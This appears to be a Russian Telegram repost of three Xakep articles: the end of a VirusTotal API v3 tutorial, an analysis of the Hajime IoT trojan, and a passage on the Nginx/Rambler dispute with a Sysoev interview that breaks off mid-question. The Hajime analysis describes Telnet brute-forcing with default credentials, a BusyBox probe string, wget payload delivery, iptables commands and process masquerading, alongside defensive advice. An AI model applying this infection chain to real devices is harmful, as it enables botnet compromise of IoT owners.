      "SubsystemVersion": 4.0,
      "TimeStamp": "2010:04:07 00:25:57+01:00",
      "UninitializedDataSize": 0
    },
    ...
  }
}

Или, например, информацию о секциях исполняемого файла:

{
  "sections": [
    {
      "entropy": 3.94,
      "md5": "681b80f1ee0eb1531df11c6ae115d711",
      "name": ".text",
      "raw_size": 20480,
      "virtual_address": 4096,
      "virtual_size": 16588
    },
    {
      "entropy": 0.0,
      "md5": "d41d8cd98f00b204e9800998ecf8427e",
      "name": ".data",
      "raw_size": 0,
      "virtual_address": 24576,
      "virtual_size": 2640
    },
    ...
  }
}

Если файл ранее не загружался на сервер и еще не анализировался, то в ответ мы получим ошибку типа Not Found Error с HTTP-кодом состояния, равным 404:

{
  "error": {
    "code": "NotFoundError",
    "message": "File \"<идентификатор файла>" not found"
  }
}

Чтобы повторно проанализировать файл, нужно также отправить на сервер GET-запрос, в котором в URL помещаем идентификатор файла, а в конце добавляем /analyse:

...
api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>/analyse'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
...

Ответ будет включать в себя такой же дескриптор файла, как и в первом случае — при загрузке файла на сервер. И так же, как и в первом случае, идентификатор из дескриптора можно использовать для получения информации об анализе файла через GET-запрос типа /analyses.

Просмотреть комментарии пользователей сервиса, а также результаты голосования по файлу можно, отправив на сервер соответствующий GET-запрос. Для получения комментариев:

...
api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>/comments'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
...

Для получения результатов голосования:

...
api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>/votes'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
...

В обоих случаях можно использовать дополнительный параметр limit, определяющий максимальное количество комментариев или голосов в ответе на запрос. Использовать этот параметр можно, например, так:

...
limit = {'limit': str(<число голосов в ответе>)}
api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>/votes'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers, params=limit)
...

Чтобы разместить свой комментарий или проголосовать за файл, создаем POST-запрос, а комментарий или голос передаем как объект JSON:

...
## Для отправки результатов голосования
votes = {'data': {'type': 'vote', 'attributes': {'verdict': <'malicious' или 'harmless'>}}}
api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>/votes'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.post(api_url, headers=headers, json=votes)
...
## Для отправки комментария
comments = {'data': {'type': 'vote', 'attributes': {'text': <текст комментария>}}}
headers = {'x-apikey' : '<ключ доступа к API>'}
api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>/comments'
response = requests.post(api_url, headers=headers, json=comments)
...

Чтобы получить дополнительную информацию о файле, можно запросить подробности о связанных с ним объектах. В данном случае объекты могут характеризовать, например, поведение файла (объект behaviours) или URL, IP-адреса, доменные имена (объекты contacted_urls, contacted_ips, contacted_domains).

Интереснее всего объект behaviours. К примеру, для исполняемых файлов он будет включать в себя информацию о загружаемых модулях, создаваемых и запускаемых процессах, операциях с файловой системой и реестром, сетевых операциях.

Чтобы получить эту информацию, отправляем GET-запрос:

api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>/behaviours'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)

В ответе будет объект JSON с информацией о поведении файла:

{
  "data": [
    {
      "attributes": {
        "analysis_date": 1548112224,
        "command_executions": [
          "C:\\WINDOWS\\system32\\ntvdm.exe -f -i1",
          "/bin/bash /private/tmp/eicar.com.sh"
        ],
        "has_html_report": false,
        "has_pcap": false,
        "last_modification_date": 1577880343,
        "modules_loaded": [
          "c:\\windows\\system32\\user32.dll",
          "c:\\windows\\system32\\imm32.dll",
          "c:\\windows\\system32\\ntdll.dll"
        ]
      },
      ...
    }
  ]
}

Функции для работы с URL

В список возможных операций с URL входят:

отправка URL на сервер для анализа;
получение информации об URL;
анализ URL;
получение комментариев пользователей VirusTotal по нужному URL;
отправка своих комментариев по определенному URL;
получение результатов голосования по определенному URL;
отправка своего голоса за какой-либо URL;
получение расширенной информации о URL;
получение информации о домене или IP-адресе нужного URL.

Большая часть указанных операций (за исключением последней) выполняется аналогично таким же операциям с файлами. При этом в качестве идентификатора URL могут выступать либо строка с URL, закодированная в Base64 без добавочных знаков «равно», либо хеш SHA-256 от URL. Реализовать это можно так:

## Для Base64
import base64
...
id_url = base64.urlsafe_b64encode(url.encode('utf-8')).decode('utf-8').rstrip('=')
...
## Для SHA-256
import hashlib
...
id_url = hashlib.sha256(url.encode()).hexdigest()

Чтобы отправить URL для анализа, нужно использовать POST-запрос:

data = {'url': '<строка с именем URL>'}
api_url = 'https://www.virustotal.com/api/v3/urls'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.post(api_url, headers=headers, data=data)

В ответ мы увидим дескриптор URL (по аналогии с дескриптором файла):

{
  "data": {
    "id": "u-1a565d28f8412c3e4b65ec8267ff8e77eb00a2c76367e653be774169ca9d09a6-1577904977",
    "type": "analysis"
  }
}

Идентификатор id из этого дескриптора используем для получения информации об анализе файла через GET-запрос типа /analyses (об этом запросе ближе к концу статьи).

Получить информацию о доменах или IP-адресах, связанных с каким-либо URL, можно, применив GET-запрос типа /network_location (здесь используем Base64 или SHA-256 идентификатор URL):

api_url = 'https://www.virustotal.com/api/v3/urls/<идентификатор URL (Base64 или SHA-256)>/network_location'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.post(api_url, headers=headers)

Остальные операции с URL выполняются так же, как и аналогичные операции работы с файлами.

Функции работы с доменами и IP-адресами

Этот список функций включает в себя:

получение информации о домене или IP-адресе;
получение комментариев пользователей VirusTotal по нужному домену или IP-адресу;
отправку своих комментариев по определенному домену или IP-адресу;
получение результатов голосования по определенному домену или IP-адресу;
отправку голоса за домен или IP-адрес;
получение расширенной информации о домене или IP-адресе.

Все эти операции реализуются аналогично таким же операциям с файлами либо с URL. Отличие в том, что здесь используются непосредственно имена доменов или значения IP-адресов, а не их идентификаторы.

Например, получить информацию о домене www.xakep.ru можно таким образом:

api_url = 'https://www.virustotal.com/api/v3/domains/www.xakep.ru'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)

А, к примеру, посмотреть комментарии по IP-адресу 178.248.232.27 — вот так:

api_url = 'https://www.virustotal.com/api/v3/ip_addresses/178.248.232.27/comments'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)

GET-запрос типа /analyses

Такой запрос позволяет получить информацию о результатах анализа файлов или URL после их загрузки на сервер или после повторного анализа. При этом необходимо использовать идентификатор, содержащийся в поле id дескриптора файла, или URL, полученные в результате отправки запросов на загрузку файла или URL на сервер либо в результате повторного анализа файла или URL.

Например, сформировать подобный запрос для файла можно вот так:

TEST_FILE_ID = 'ZTRiNjgxZmJmZmRkZTNlM2YyODlkMzk5MTZhZjYwNDI6MTU3NjYwMTE1Ng=='
...
api_url = 'https://www.virustotal.com/api/v3//analyses/' + TEST_FILE_ID
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)

И вариант для URL:

TEST_URL_ID = 'u-dce9e8fbe86b145e18f9dcd4aba6bba9959fdff55447a8f9914eb9c4fc1931f9-1576610003'
...
api_url = 'https://www.virustotal.com/api/v3//analyses/' + TEST_URL_ID
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)

Заключение

Мы прошлись по всем основным функциям API сервиса VirusTotal. Ты можешь позаимствовать приведенный код для своих проектов. Если используешь вторую версию, понадобится следить за тем, чтобы не отправлять запросы слишком часто, но в третьей версии такого ограничения пока что нет. Рекомендую выбрать именно ее, поскольку и возможности здесь тоже намного шире. К тому же рано или поздно она станет основной.

ПОДПИСАТЬСЯ - Бюро121

Хадзимэ! Разбираемся, как устроен Hajime, известный троян для IoT

2020-02-20T17:42:21.059Z

Источник: t.me/Bureau121

Содержание статьи
Взлом устройства
Исследование девайса
Инфектор
Основной модуль трояна
Ботнет
Цели, задачи и выводы
5 октября 2016 года на одном

Взлом устройства

Как и в случае Mirai, в архитектуре Hajime используется генератор случайного диапазона IP, из которого исключаются локальные и служебные адреса, после чего полученный массив данных передается сканеру. Тот последовательно стучится на 23-й TCP-порт по каждому из адресов, пробуя установить Telnet-соединение. Если попытка увенчалась успехом, Hajime начинает брутить атакуемый хост с использованием словаря, зашитого в самом трояне.

Список логинов и паролей в словаре аналогичен тому, который использует Mirai, разве что к нему добавились пары значений root/5up и Admin/5up, с помощью которых Hajime атакует ряд моделей роутеров TP-Link и Atheros с дефолтной прошивкой. Главное отличие кроется в том, что Mirai пытается авторизоваться на удаленном устройстве, перебирая логины и пароли в случайном порядке, в то время как Hajime строго следует списку, причем после каждой неудачной попытки авторизации он закрывает текущее Telnet-соединение и создает новое.

Подобно разработчикам Mirai, создатели Hajime предполагали, что пользователи умных устройств далеко не всегда меняют заводские настройки, поэтому словарь содержит набор дефолтных логинов и паролей для разных девайсов. Взлом будет успешен только в том случае, если владелец аппарата поленился изменить предустановленные на заводе-изготовителе параметры авторизации, то есть сам себе злобный антропоморфный дендромутант.

Словарик для брута Hajime

Если брут удался, Hajime отправляет устройству команду enable, чтобы получить доступ к привилегированному режиму интерфейса командной строки. За ней следует команда system для перехода в меню системных опций, а затем команды shell и sh запускают командный интерпретатор. Чтобы проверить, запустился ли нужный для его работы шелл, Hajime передает на атакуемый хост строку /bin/busybox ECCHI. Специфические оболочки не смогут обработать эту команду, в то время как стандартный sh запустит BusyBox, который вернет сообщение об ошибке в аргументе — ECCHI: applet not found. Это позволит Hajime понять, что он на верном пути.

Исследование девайса

Окончательно убедившись в том, что он попал в Linux-окружение и имеет доступ к командной строке, Hajime начинает исследовать взломанное устройство. Для начала он получает из файла /proc/mounts список смонтированных файловых систем и ищет открытые на запись папки. Обнаружив первую такую папку, отличную от /proc, /sysили /, Hajime проверяет, действительно ли в нее разрешена запись и не хранится ли уже в ней троянский бинарник. В дальнейшем эта папка будет использоваться в качестве рабочей директории.

Затем Hajime исследует заголовок файла /bin/echo, чтобы определить тип процессора скомпрометированного устройства. В зависимости от аппаратной архитектуры на девайс будет скачан соответствующий ELF-файл, в котором реализован инфектор, доставляющий в систему полезную нагрузку. Hajime поддерживает ARMv5, ARMv7, MIPS и, конечно же, Intel x86-64.

Инфектор

Выяснив, какой процессор установлен на взломанном девайсе, Hajime отправляет командному интерпретатору директиву wget для загрузки бинарника для соответствующей архитектуры. Этот ELF-файл занимает менее 500 байт и изначально написан на ассемблере. Семплы бинарника, разработанные под различную аппаратную конфигурацию, отличаются друг от друга незначительно, в частности имеют разную структуру sockaddr размером 6 байт, в которой сохраняется IP-адрес и номер порта девайса, откуда изначально выполнялся брут скомпрометированного устройства. В этом и есть одна из особенностей Hajime: адрес для получения полезной нагрузки записан в структуре sockaddr самого инфектора, а не определяется динамически.

Инфектор устанавливает TCP-соединение с указанным хостом и принимает оттуда поток байтов. Этот поток перенаправляется на стандартный вывод stdout и по конвейеру сохраняется в файл, который будет запущен на выполнение. Так на взломанное устройство попадает основной модуль трояна.

Где-то с середины 2017 года создатели некоторых версий Hajime перестали заморачиваться с ассемблерными инфекторами и вместо этого начали качать полезную нагрузку с помощью Wget или TFTP. Процесс заражения стал проще, но при этом несколько потерял в надежности.

Основной модуль трояна

Запустившись в системе, основной модуль Hajime пытается убить все процессы, имеющие входящие и исходящие соединения с 23-м портом, для чего анализирует содержимое файлов /proc/net/tcp и /proc/net/tcp6. Затем троян модифицирует iptables, чтобы перекрыть доступ к портам 7547, 5555, 5358, и удаляет цепочку CWMP_CR, которая используется в части роутеров Movistar:

iptables -A INPUT -p tcp --destination-port 7547 -j DROP
iptables -A INPUT -p tcp --destination-port 5555 -j DROP
iptables -A INPUT -p tcp --destination-port 5358 -j DROP
iptables -D INPUT -j CWMP_CR
iptables -X CWMP_CR

После инициализации Hajime отправляет NTP-запрос к серверу pool.ntp.org, чтобы определить временную зону устройства, а также корректное значение текущей даты. Если запрос не дал результата, используется локальное время. Точное определение времени и даты очень важно для синхронизации ботнета, а некоторые умные устройства, где используются установленные по умолчанию параметры авторизации, имеют неправильную конфигурацию системного времени. Если пользователь не изменил логин и пароль, с чего бы ему менять другие настройки? Создатели Hajime учли этот тонкий момент.

Затем командой unlink трой удаляет собственный файл из системы, после чего при помощи функции strcpy меняет символьную строку argv[0], в которой хранится имя программы, на telnetd. Наконец, с использованием системного вызова prctl(PR_SET_NAME, argv[0]) он меняет имя своего процесса. Таким хитрым способом Hajime пытается замаскироваться под стандартный демон Telnet, чтобы не вызывать у юзера подозрений.

Дальше управление передается модулю, который отвечает за работу DHT-протокола Kademlia, предназначенного для организации одноранговых децентрализованных файлообменных сетей. Непосредственно для приема и передачи данных ботнет использует транспортный протокол uTorrent. Это, в частности, позволяет зараженным девайсам успешно работать под NAT.

Ботнет

Маршрутизация в ботнете Hajime базируется на модифицированном проекте KadNode, который поддерживает шифрование и инфраструктуру открытых ключей (PKI). Передаваемые файлы сжимаются при помощи модифицированного алгоритма LZ4, но некоторые файлы могут транслироваться и в несжатом виде.

После инициализации протокола Hajime устанавливает соединение с пирами Torrent-ботнета и скачивает актуальный конфиг. Для опознавания пиров в сети используются уникальные идентификаторы ботов, генерируемые на основе текущей даты и хеша SHA-1, полученного от имени файла трояна. Наличие свежего конфигурационного файла на других узлах ботнета Hajime проверяет с интервалом в десять минут.

Типичный конфиг содержит обозначение процессорной архитектуры, для которой собраны исполняемые файлы, имена этих файлов и timestamp, позволяющий трою определить их версию. Если файл в сети свежее того, информация о котором сохранена в локальном конфиге вредоноса, он скачивает бинарник для соответствующей аппаратной конфигурации и запускает его в качестве своего дочернего процесса. Аналогичным образом работает самообновление Hajime.

P2P-ботнет, созданный по такой схеме, получается одноранговым, а значит, децентрализованным и отказоустойчивым. Он не зависит от наличия управляющих серверов, следовательно, не прекращает свою деятельность, если какое-то количество инфицированных устройств вдруг «вылечится» или перестанет работать. Да и засинкхолить такой ботнет, чтобы перехватить управление, физически невозможно.

Обосновавшись в системе, Hajime запускает цикл генерации и опроса IP-адресов, чтобы продолжить заражать уязвимые сетевые устройства. При этом сам хост выступает в роли сервера, с которого скачивается исполняемый файл инфектора и тело троянца. Если для заражения какого-то удаленного хоста требуется файл с поддержкой другой аппаратной архитектуры, Hajime может подтянуть его из пиринговой сети.

Цели, задачи и выводы

В Hajime по умолчанию не предусмотрены какие-либо деструктивные функции за исключением одной: трой может скачивать и запускать на инфицированном устройстве любые приложения. Ключевое слово здесь — «любые». Поэтому для ботовода не составит никакого труда при необходимости установить на все зараженные девайсы модуль для реализации DDoS-атак, бэкдор, майнер или просто продавать инсталлы всем желающим, зарабатывая за счет других вирусописателей. Иными словами, готовый ботнет можно монетизировать множеством различных способов. Но как бы то ни было, о назначении трояна до сих пор строятся догадки и предположения.

Существует несколько методов защиты от Hajime. Можно закрыть на потенциально уязвимом устройстве порт 4636, через который трой качает полезную нагрузку. Можно блокировать все входящие соединения на порт 23, если в запросе присутствует строка /bin/busybox ECCHI — явный индикатор атаки. Но лучше всего правильно настроить параметры авторизации по протоколам Telnet и SSH, используя сложные пароли: это защитит девайс от брута по словарю, который применяют Hajime и Mirai, а владельцу такого устройства позволит сберечь нервы.

ПОДПИСАТЬСЯ - Бюро121

Как стартовал Nginx. О разработке знаменитого веб-сервера

2020-02-19T06:10:58.424Z

Источник: t.me/Bureau121

Как видно из текста постановления, обыск проводился в связи с возбужденным уголовным делом по частям «Б» и «В» статьи 146 УК РФ («Нарушение авторских и смежных прав», пункты «в особо крупном размере» и «группой лиц по предварительному сговору или организованной группой»). В итоге разработчикам и основателям Nginx грозит не только потеря проекта, но и до шести лет лишения свободы.

Суть претензии «Рамблера» состоит в том, что некие «неустановленные лица», в рабочее время и по приказу руководства компании, не позднее 4 октября 2004 года создали «программу для ЭВМ „энджиникс“», а затем, «имея умысел на нарушение авторских прав», опубликовали ее в Сети и принялись распространять, заявляя, что права на нее принадлежат исключительно Игорю Сысоеву — основателю и разработчику Nginx, бывшему сотруднику «Рамблера».

«Мы обнаружили, что исключительное право компании „Рамблер Интернет Холдинг“ на веб-сервер Nginx нарушено в результате действий третьих лиц. В связи с этим "Рамблер Интернет Холдинг" уступила права на предъявление претензий и исков, связанных с нарушением прав на Nginx, компании Lynwood Investments CY Ltd, которая обладает необходимыми компетенциями для восстановления справедливости в вопросе о принадлежности прав», — сообщили в пресс-службе Rambler Group.

Издание «Коммерсант» отмечает, что компания Lynwood Investments связана с совладельцем Rambler Group Александром Мамутом — в частности, через эту компанию бизнесмен владел британской книжной сетью Waterstones.

В Rambler Group оценивают свой ущерб по состоянию на 2011 год в 51,4 миллиона рублей.

Напомним, что в 2011 году Игорь Сысоев покинул «Рамблер» и основал компанию Nginx, которая, помимо свободного ПО, стала предлагать коммерческие продукты. В настоящее время Nginx — это один из самых популярных веб-серверов в интернете, с использованием его работает почти четверть всех сайтов.

Уже к 2018 году выручка Nginx составляла 26 миллионов долларов, и в марте 2019 года Nginx за 670 миллионов долларов приобрела компания F5, один из мировых лидеров в области мультиоблачных сервисов. Команда разработки проекта, включая его основателей Игоря Сысоева и Максима Коновалова, продолжила работу над Nginx уже в составе F5.

Что об этом говорят

Сообщество и российская ИТ-индустрия отреагировали на происходящее с Nginx очень бурно, и многие сочли эти события крайне плохим знаком для российского интернет-бизнеса. Мы собрали некоторые важные реакции и комментарии.

Директор по распространению технологий «Яндекса» Григорий Бакунов aka Bobuk поддержал Сысоева и опубликовал от лица компании официальное заявление, озаглавленное «Open source — наше всё».

Игорь Ашманов, занимавший должность исполнительного директора Рамблера в начале нулевых, заявляет, что не видит перспектив для данного дела. «Никаких служебных заданий, предписывающих разрабатывать такой веб-сервер, не было», — утверждает он. Более того, по словам Ашманова, при найме на работу с Сысоевым было специально оговорено, что у него есть свой проект, которым он имеет право заниматься. Поэтому изложенную в материалах уголовного дела версию он считает «чушью».

Основатель Habr Денис Крючков пишет в Twitter, что «по странному стечению обстоятельств [эту] историю достали после захода Сбера в Рамблер», имея в виду, что в текущем году в акционерной структуре Rambler Group произошли изменения: в августе Сбербанк закрыл сделку по покупке 46,5% компании. Также Крючков напоминает, что сайты мвд.рф и kremlin.ru тоже используют в работе Nginx.

Глава провайдера Diphost и владелец телеграм-канала «Эшер II» Филипп Кулин пишет: «В nginx вложено большое количество кода сторонних людей. Если Рамблеру чудом удастся обнулить свободную лицензию, люди гипотетически смогут потребовать удалить их код из nginx, так как не передавали исключительных прав Рамблеру. И такие найдутся. Сам факт тяжб будет делать продукт токсичным. А выигранные споры — превратят его в кирпич 15-летней давности. В мире ничего не изменится. Скорее всего, решение локального суда будет там признано политически ангажированным».

Американская компания F5 Networks, купившая Nginx в этом году, подтвердила факт обыска в московском офисе компании, но не уточнила никаких деталей. «Ранее сегодня российская полиция пришла в московский офис Nginx. Мы все еще собираем факты по этому вопросу, поэтому у нас нет никаких комментариев, которые можно дать в настоящее время», — заявили в F5 Networks.

Еще в 2011 году тогдашний главный редактор «Хакера» Степа Ильин брал интервью у Игоря Сысоева, и уже тогда спрашивал его, не возникнет ли у «Рамблера» вопросов относительно авторских прав и удалось ли Игорю сохранить права на пакет за собой. Игорь ответил, что все в полном порядке, разработку Nginx он начинал еще до работы в Рамблере, а продукт с самого начала выпускался под лицензией BSD, как открытое программное обеспечение.

— Игорь, расскажите, как строилось ваше образование, как пришли к программированию и вообще увлеклись компьютерами.

— Я родился в Казахстане в маленьком городке. Когда мне было около года, моего отца (он военный) перевели в Алма-Ату, и я жил там до 18 лет. В 1987 году я окончил школу и поехал поступать в МВТУ имени Баумана, однако с первого раза поступить не удалось, и я вернулся назад в Алма-Ату, где устроился работать лаборантом в филиал Института повышения квалификации Министерства геологии СССР. Там были старые компьютеры «Искра-226», на них я и начал что-то программировать на бейсике.

А еще в то время в журнале «Радио» была опубликована серия статей, как собрать собственный компьютер «Радио-86РК», и благодаря их чтению у меня сложилось достаточно неплохое представление, как компьютер устроен и как он работает. А первый опыт работы с компьютерами был чуть раньше: в старших классах я ходил во Дворец пионеров, и там поставили компьютеры Yamaha КУВТ (стандарта MSX). Помню, когда набирал первую программку, перепутал единицу с буквой I. В общем, она у меня не работала из-за таких вещей.

— А помните свою первую программу, которой пользовались другие люди?

— Моя первая крупная и отчуждаемая программа — это антивирус AV, который я написал в 1989–1990 годах. Написан он был полностью на ассемблере, объем ассемблерного кода был где-то порядка 100 Кбайт. Программа умела находить несколько вирусов, имея зашитую внутрь программы базу с несколькими сигнатурами известных тогда в СССР вирусов, которых было от силы штук десять: вирусы «Марихуана», «София», «Вена» и еще несколько, не помню их названий. Вот это и была моя первая программа, которую я распространял в бинарниках — исходников я тогда не раздавал. В итоге она разошлась по стране, была установлена даже на нескольких заводах. Была и обратная связь: люди по почте слали письма с вирусами, записанными на дискеты. Какое-то время я поддерживал данный антивирус, но в итоге году в 1992-м я уже потерял интерес к этой теме, и программа умерла.

В 1994 году я окончил институт, а за год до этого начал работать системным администратором в одной компании, которая была связана с торговлей нефтепродуктами. Там я проработал почти семь лет, после чего в апреле 2000 года я решил уйти. Тогда как раз сдулся NASDAQ, лопнул «пузырь доткомов», и как раз в этот момент я решил уйти в интернет. Полгода я проработал в интернет-магазине XXL.RU, после чего, как сейчас помню, 13 ноября 2000 года я пришел работать в Рамблер.

— Чем вы занимались в Рамблере?

— Я работал системным администратором. Однако кроме непосредственной работы сисадмина я снова начал в свободное время писать программы. Надо отметить, что в мои должностные обязанности программирование не входило, но поскольку были время и тяга, то первое, чем я занялся, — адаптировал патч для сжатия ответов Apache. К сожалению, на тот момент имя mod_gzip было уже занято, поэтому я назвал свой вариант mod_deflate, работал он с Apache 1.3.

Потом меня попросили разобраться с модулем mod_proxy. Я его посмотрел и решил, что проще написать все с нуля, чем адаптировать там какие-то вещи. Таким образом появился модуль mod_accel — модуль и набор патчей для Apache для реверсного проксирования. Это все тоже было весной 2001 года.

— То есть все эти модули вы делали для Рамблера, одновременно выкладывая в паблик?

— В основном да. Mod_deflate на самом деле пришел из патча, который писал Дмитрий Хрусталев, работая в РБК. То есть этот патч был взят за основу, там моего кода, может, половина только.

Осенью 2001 года у меня появилась идея написать более легкий и производительный веб-сервер, чем Apache. На тот момент были уже другие похожие серверы, но все они не умели проксировать, они отдавали только статику. Был у них еще один общий недостаток — они работали в одном процессе, и, соответственно, отмасштабировать их, допустим, на двухпроцессорной машине было нереально.

На тот момент у меня уже был достаточно неплохой опыт работы с Apache — и как у системного администратора, и как у программиста. Два написанных модуля прибавили мне знаний: приходилось смотреть исходники Apache и понимать, как там все устроено. Поэтому очень многие вещи в Nginx перекочевали из Apache идеологически. Не код, а именно идеология, весь код Nginx был написан с нуля.

Однако не все мне нравилось в Apache: например, там очень легко можно сделать такую конфигурацию, которую будет крайне сложно поддерживать. То есть сайт растет, добавляется какая-то новая функциональность, и в конце концов работать с сайтом становится невозможно. Нужно что-то добавить, и ты сидишь, думаешь: «А что у меня сломается от того, что я добавлю?» В Nginx я попытался этих вещей избежать. В общем, где-то весной 2002-го я начал разрабатывать Nginx.

— Быстро ли о ваших разработках узнали внешние по отношению к Рамблеру люди? Как эволюционировал проект?

— В 2003 году про мои разработки прознали снаружи Рамблера, и, более того, Nginx начал использоваться на нескольких сайтах. Первым был эстонский сайт знакомств Rate.ee, который и сейчас существует. Это, кстати, самый высоконагруженный сайт Эстонии. Потом Nginx начал использоваться на mamba.ru и на zvuki.ru, где раздавал MP3.

В начале 2004 года Рамблер запускал сервис foto.rambler.ru, и один из коллег, Олег Бунин, попросил меня доделать в Nginx функциональность проксирования запросов, чтобы начать полноценно использовать его в том числе на фотосервисе Рамблера. До этого момента проект был достаточно академическим, я его постепенно писал, но это могло никогда ничем не кончиться, то есть в продакшн его, может быть, нигде и не поставили бы. В общем, получилось так, что я срочно доделал и проксирование. И где-то в начале 2004 года появилась версия с проксированием, а сервис foto.rambler.ru заработал на базе Nginx.

4 октября 2004 года, в очередную годовщину запуска первого космического спутника, я выпустил первую публичную версию: 0.1.0.

— Сейчас доля Nginx растет очень быстро, а как дело было в самом начале?

Сейчас он действительно растет достаточно быстро. Вначале все было заметно скромнее. В первый год наибольшую популярность Nginx по очевидным причинам набирал в России. В дальнейшем про Nginx узнали и за ее пределами, и отдельные энтузиасты начали его использовать на свой страх и риск. Появился англоязычный список рассылки, стали появляться сторонние ресурсы, описывающие Nginx, люди присылали мне все больше пожеланий и замечаний, я вносил исправления, продукт постепенно набирал популярность. Сейчас проект действительно растет очень быстро, и это стало одним из поводов для создания компании. В одиночку я уже просто перестал справляться.

— Так что, никакого продвижения вообще не было, получается, продукт сам себя сделал?

С моей стороны никакого специального пиара не было. Хотя есть такое мнение, что лучший пиар — это просто хороший продукт. То есть весь рост обуславливался тем, что Nginx «просто работал» и люди рассказывали о своем положительном опыте знакомым админам, те — своим знакомым, и так по принципу сарафанного радио. Популярность Nginx, на мой взгляд, связана с несколькими вещами. Во-первых, это эффективный и бесплатный софт, который позволяет существенно экономить аппаратные ресурсы и денежные средства, во-вторых, он в принципе неплохо работает.

— Но есть же аналоги, lighttpd тот же самый например.

— На самом деле есть еще пара причин: получилась довольно интересная комбинация жизненно важных фич для создания эффективной веб-инфраструктуры, которые я добавлял постепенно и которые сделали Nginx таким незаменимым инструментом. При этом Nginx не перегружен ненужными фичами и остается очень компактной разработкой. Кроме того, модульность Nginx позволила многим компаниям и сторонним разработчикам строить свои расширения на базе ядра Nginx. Можно сказать, что Nginx давно стал в своем роде веб-платформой.

По поводу lighttpd (lighty). Когда-то он был более распространен, чем Nginx, и более известен в мире. Его автор — немец Ян Кнешке (Jan Kneschke). Разница в популярности была связана с тем, что Россия — непонятная страна с балалайкой и медведем, снегом, а тут Европа. Опять же, и с английским у него лучше было, в том числе и с английской документацией.

Кстати, благодаря lighttpd обрел второе дыхание протокол FastCGI. До 2000–2001 года это была экзотика, все использовали интерпретаторы, которые были внутри Apache: PHP, Perl, Python. А поскольку в lighttpd исполнять внутри процесса PHP-код нереально, то решением стал FastCGI. И именно благодаря lighttpd FastCGI обрел вторую жизнь. Хотя еще в 2000 году люди говорили: «Зачем, что это такое — FastCGI? У нас есть mod_php, и там все прекрасно работает».

— Какие главные кейсы использования Nginx вы видите сейчас?

— Основное использование на нагруженных сайтах — это проксирование. При этом Nginx установлен в качестве фронтэнда и проксирует приложения на бэкэндах по HTTP либо по FastCGI или WSGI. При этом стандартным подходом является использование в связке с Apache — например, на моем предыдущем месте работы Nginx долгое время работал именно так, только пару лет назад переключились на использование FastCGI. Кстати, в этом случае в статистике отображается, что появляется Nginx, пропадает Apache. Хотя на самом деле используется и то и другое: просто Nginx является одним из компонентов прокси-системы, видимым снаружи.

— Объясните наглядно, зачем вообще проксировать запросы?

— Почему, собственно, люди используют Apache с Nginx? Казалось бы, зачем тут лишнее звено, которое будет мешать. Apache хорошо и легко использовать там, где нужно выполнение какого-то приложения, например с помощью mod_php. Вот теперь представьте себе, что этот PHP способен генерировать 100 ответов в секунду, а каждый ответ имеет размер, условно, 100 Кбайт. Не все клиенты используют быстрые соединения: 10 лет назад были модемные клиенты, сейчас очень распространен мобильный интернет, у кого-то просто плохой провайдер или медленный тариф.

И вот у нас есть ответ объемом 100 Кбайт и эффективная скорость к клиенту, например 80 Кбит/с (10 Кбайт/с). Значит, этот ответ будет передаваться клиенту 10 секунд. В результате все это время, пока клиент медленно скачивает ответ, Apache вместе с PHP «жрет» 10–20 Мбайт памяти на одного клиента. И вместо того, чтобы заниматься тем, что Apache может делать быстро, он ждет, пока медленные клиенты загрузят ответы. На все это расходуется очень много памяти, да и процессор тоже.

Когда мы ставим Nginx между клиентами и Apache, то все начинает работать эффективнее: Nginx максимально быстро принимает на себя весь ответ, освобождая Apache, и потом уже медленно отдает его клиентам, не расходуя много памяти. Много памяти или процессора Nginx не расходует, потому что используется другая архитектура веб-сервера — неблокируемая, основанная на асинхронной обработке событий, что позволяет обрабатывать многие тысячи соединений в рамках одного процесса (в отличие от Apache, где каждое соединение обрабатывается отдельным процессом или тредом. — прим. ред.).

Ну и плюс к этому мы можем с бэкэнда вынести все статические файлы, это простая вещь, с которой Nginx может справиться очень легко и максимально эффективно — таких статических файлов Nginx может отдавать одновременно десятки тысяч в секунду, если память позволяет и если позволяет сетевое соединение с сервером.

— Давайте вернемся к типовым сценариям.

— Итак, первый сценарий — это когда мы просто занимаемся акселерированием, может быть, даже одного-единственного сайта. У нас был Apache, мы поставили перед ним Nginx, и — бах! — случилось чудо. Люди реально ставят и удивляются, а потом пишут на «Хабр» о том, что «надо же, как клево». Второй вариант — это тоже проксирование, но у нас много бэкэндов, то есть мы можем эффективно масштабировать горизонтально всю систему при условии, что само приложение это позволяет. Таким образом, Nginx выступает в роли балансировщика нагрузки.

Одним из недостатков текущей реализации является отсутствие нескольких политик балансировки, но люди пользуются, это работает, а функционал мы будем добавлять. Что еще? Еще сценарий, например, такой: многим людям почему-то Apache не нравится. Хотят, чтобы на сервере был только Nginx, не хотят ставить Apache. В этом случае все скрипты у них работают через FastCGI для PHP или WSGI для Python.

Например, WordPress.com — они давным-давно начали использовать Nginx в качестве балансировщика, а веб-сервером у них выступал коммерческий LiteSpeed. В этом году они уже полностью мигрировали на Nginx, теперь у них PHP работает в режиме FastCGI.

Другой стандартный вариант использования — когда Nginx просто отдает всю статику, допустим MP3, FLV-, MPEG4-видео, картинки.

— Давайте немного поговорим про безопасность. Были ли за время существования Nginx какие-либо серьезные уязвимости?

